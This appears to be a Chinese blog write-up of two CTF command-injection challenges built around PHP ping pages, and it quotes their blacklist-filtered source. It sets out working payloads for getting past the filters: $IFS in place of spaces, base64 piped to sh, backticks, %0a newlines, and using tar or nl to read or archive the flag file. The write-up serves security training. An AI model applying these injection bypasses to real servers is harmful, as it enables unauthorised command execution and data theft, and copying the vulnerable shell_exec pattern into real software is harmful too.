PINGPINGPING

根据题目名称和题目页面的’/?ip=’,联想到应该是命令,先试一下payload:127.0.0.1;ls,成功执行,可以看到有flag.php和index.php这两个文件,尝试直接cat flag.php,发现空格被过滤,绕过空格后发现flag也被过滤,于是考虑读index看看是否有更多信息.读取后发现是源码:

?php
if(isset($_GET['ip'])){
  $ip = $_GET['ip'];
  if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "

";
  print_r($a);
}

?>

sh和”|”没被过滤,可以考虑用base64编码:?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh,其中Y2F0IGZsYWcucGhwcat flag.php的base64编码.执行后f12就能看到flag.

拼接也可以做,但是注意:preg_match("/.*f.*l.*a.*g.*/", $ip),该语句意为匹配字符串中是否按顺序出现过这四个字母.所以拼接时用a=fl;b=ag;是行不通的.拼接payload:?ip=127.0.0.1;b=g;cat$IFS$1fla$b.php

看了大佬们的做法发现还有一种内联执行的方式,payload:?ip=127.0.0.1;cat$IFS$1`ls`.内联执行:命令替代,大部分Unix shell以及编程语言如Perl、PHP以及Ruby等都以成对的重音符(反引号)作指令替代,意思是以某一个指令的输出结果作为另一个指令的输入项。(1)

最后还有使用了tar命令的一种方法,是昨天看了星盟Prontosil师傅的直播课学到的.payload:?ip=127.0.0.1;tar$IFS$1-cvf$IFS$1leuk$IFS$1.之后访问leuk路由,下载文件用解压软件打开就能看到flag.php.

综合过滤练习

上源码:

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

分号没了,在url里用%0a编码即换行绕过.

无脑用tar命令的做法:payload:?ip=127.0.0.1%0Atar$IFS$1-cvf$IFS$1leuk$IFS$1.#,访问leuk路由,下载,解压得到flag.

不用tar命令的做法:?ip=127.0.0.1%0D%0Als#,?ip=127.0.0.1%0Acd$IFS$1fl''ag_is_here%0Als#,?ip=127.0.0.1%0Acd$IFS$1fl''ag_is_here%0Anl$IFS$1fl''ag_23325268509691.php#

(nl这个命令是在复现校赛easyphp的时候学到的,原题和学长放出来复现的题在最后一步不同,原题做法复现时行不通,才疏学浅不会做跑去问学长问到的,感谢学长.)

(1)来自Dar1in9师傅的关于命令执行以及常见的一些绕过过滤的方法

Categories:

Tags:

No responses yet

发表评论

电子邮件地址不会被公开。 必填项已用*标注

闽ICP备19027300号